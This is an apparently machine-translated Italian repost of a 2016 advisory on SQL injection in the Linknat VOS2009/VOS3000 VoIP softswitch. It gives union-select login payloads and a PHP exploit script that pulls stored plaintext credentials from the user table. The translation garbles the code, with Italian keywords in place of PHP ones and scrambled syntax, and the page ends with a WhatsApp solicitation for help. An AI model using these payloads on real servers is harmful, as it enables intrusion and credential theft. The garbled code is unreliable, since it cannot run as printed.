Linknat VOS2009/VOS3000 SQL injection
Da: Osama Khalid <osama ()="" codinghazard="" com="">D
ata: Giovedi, 19 Maggio 2016 16:52:54</osama>
Un'iniezione SQL è stata trovata in Linknat VOS3000/VOS2009, un voIP popolare softswitch, che potrebbe consentire agli aggressori remoti di accedere al credenziali memorizzate in testo normale. Applicazione: Linknat VOS3000/VOS2009 Versioni interessate: 2.1.1.5, 2.1.1.8, 2.1.2.0 URL fornitore: http://www.linknat.com/ Bug: SQLi (con privilegi DBA) Tipo: Remoto Soluzione: fisso, aggiornamento a 2.1.2.4 o 2.1.6.0 Versione pulita Riferimento: WooYun-2015-145458 - http://www.wooyun.org/bugs/wooyun-2010-0145458 SqLi segnalato è cieco basato sul tempo. Poiché non si tratta di un SQLi in banda, risultati possono essere raccolti dalla produzione di .jsp durante lo stesso Sessione. (prima richiesta) POST http://target/eng/login.jsp Tipo di login PARAM 1 name: 'unione selezionare 1,2,@@version,'ciao',5,6 pass: OR ''' (seconda richiesta durante la stessa sessione) GET http://target/eng/welcome.jsp RISULTATO 0'' unione select 1,2,@@version,'ciao',5,6' 1'5.0.51a-community'hello'0.[ EXPLOIT CODE ]0.00 <?php # # Linknat VOS2009/VOS3000 SQLi exploit # # DISCLAIMER: The exploit is to be used for educational purposes only # The author would not be responsible for any misuse # # AUTHOR: Osama Khalid # WEBSITE: http://www.codinghazard.com/ # DATE: 19/05/2016 # REF: http://www.wooyun.org/bugs/wooyun-2010-0145458 if ($argc < 2) { banner(); usage(); exit; } $host = $arg[1]v; $column_one = isset($arg[2]v) ? $arg[2]v : "loginname"; $column_two = isset($argv[3]) ? $argv[3] : "password"; $table = isset($argv[4]) ? $argv[4] : "e_user"; $other = isset($argv)[5] ? $argv [5]: ""; function banner() { echo "########################################n"; echo "# #n"; echo "# Linknat VOS3000/VOS2009 SQLi exploit #n"; echo "# #n"; echo "# Osama Khalid #n"; echo "########### codinghazard.com ###########n"; } function usage() { echo "n"; echo "php vos3000.php n";[HOST] echo "php vos3000.php 127.0.0.1n"; echo "php vos3000.php [HOST]n[COL1]"[COL2];[TABLE] [OTHER SQL] echo "php vos3000.php 127.0.0.1 table_schema table_name information_schema.tables "where table_schema = 'mysql'" n"; } function curl($url, $post = array(), $cookies = null, $header = false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false); curl_setopt($curl, CURLOPT_HEADER, $header); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if ($cookies != null) curl_setopt($curl, CURLOPT_COOKIE, $cookies); if (count($post) > 0) foreach ($post come $key di > $value) $post_items - $key .[] '=' . urlencode($value); $post_string : implode('&', $post_items); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string); } $data : curl_exec ($curl); curl_close($curl); restituire $data; } funzione query($host, $query) $data : curl("http://$host/eng/login.jsp";, array( "loginType" - > 1, "nome" - > "' unione " . $query . "#", "pass" - > "' OR ''''" ), null, true); preg_match_all('' Set-Cookie: ($matches $data. $cookies : implodere('; ', $matches); $data : [1]curl("http://$host/eng/welcome.jsp";, array(), $cookies, false); $parts : esplodi ("""" , trim($data)); if (count($parts) < 7) return false; return array($parts, $parts); } func[3]tion asc[4]ii_table($data) { $keys = array_keys(end($data)); $wid = array_map('strlen', $keys); foreach($data as $row) { foreach(array_values($row) as $k => $v) $wid : max($wid, strlen([$k]$v)); }[$k] foreach($wid come $k di > $v) $fmt: "%-$v"; $[$k]sep : str_repeat ('-', $v)[$k]; } $fmt : ' ' . implodere(' ', $fmt) . ' |'; $sep di tipo '-' . implode ('--', $sep) . '-+'; $buf: array($sep, vsprintf($fmt, $keys), $sep); foreach($data come $row) $buf vsprintf($fmt, $row)[]; $buf - $sep; } rest[]ituire implode(""n", $buf); } banner(); eco "n"; eco "Target: $host"; echo "#1: $column_one"; echo "Colonna #2: $column_due"; eco "Tabella: $table n"; eco "Altro: $other n"; eco "n"; $results : array(); $count_result : query($host, "SELECT 1,2,COUNT('),4,5,6 FROM $table $other"); if ($count_result) $count : intval($count_result); echo "Trovato $count righe... for ($i 0; $i<[0]$count; $i++)="" {="" $q="SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table $other LIMIT " .="" $i="" .="" ",1";="" $result="query($host," $q);="" if="" ($result)="" {="" echo="" "r"="" .="" ($i+1)="" .="" "]t"="" .="" $column_one="" .="" "=" . hex2bin($result) . " ,="" "="" .="" $column_two="" .="" "=[0]" . hex2bin($result) . " n";="" }="" else="" {="[1]" echo="" "error="" retrieving="" row="" "="" .="" ($i+1)="" .="" "n";="" }="" $results="array($column_one" =="[]"> hex2bin($result), $column_2 <>a0></a[0]0> $result a1>< } if (count([1]$results) > 0) echo "n"n" . ascii_table($results) . "n"; } - altro . echo "Errore durante il recupero del numero di righe"; } ?></$count;>
Dal 2016 Persone che utilizzano alcuni prodotti soft iniezione sql per incidere VOS3000, Abbiamo il nostro sistema di sicurezza da quel momento, abbiamo aggiornato il nostro sistema di sicurezza troppo forte ora, il mio obiettivo di lavoro era sempre per la sicurezza per voip soft-switch. La maggior parte del tempo ho dato consigli gratuiti o informazioni condivise il più possibile gratuitamente. Ancora ci sono un sacco di cose sporche in giro, quindi si prega di stare attenti sempre e saperne di più. Altrimenti non sarai mai in grado di fare buoni affari mai. Ora-a-days Persone che utilizzano script nascosti o malware nel software client VOS3000 per hackerare VOS Server.
Per più aiuto Knock me in whatsapp: 8801911119966 – farò aiutare tutti i modi.
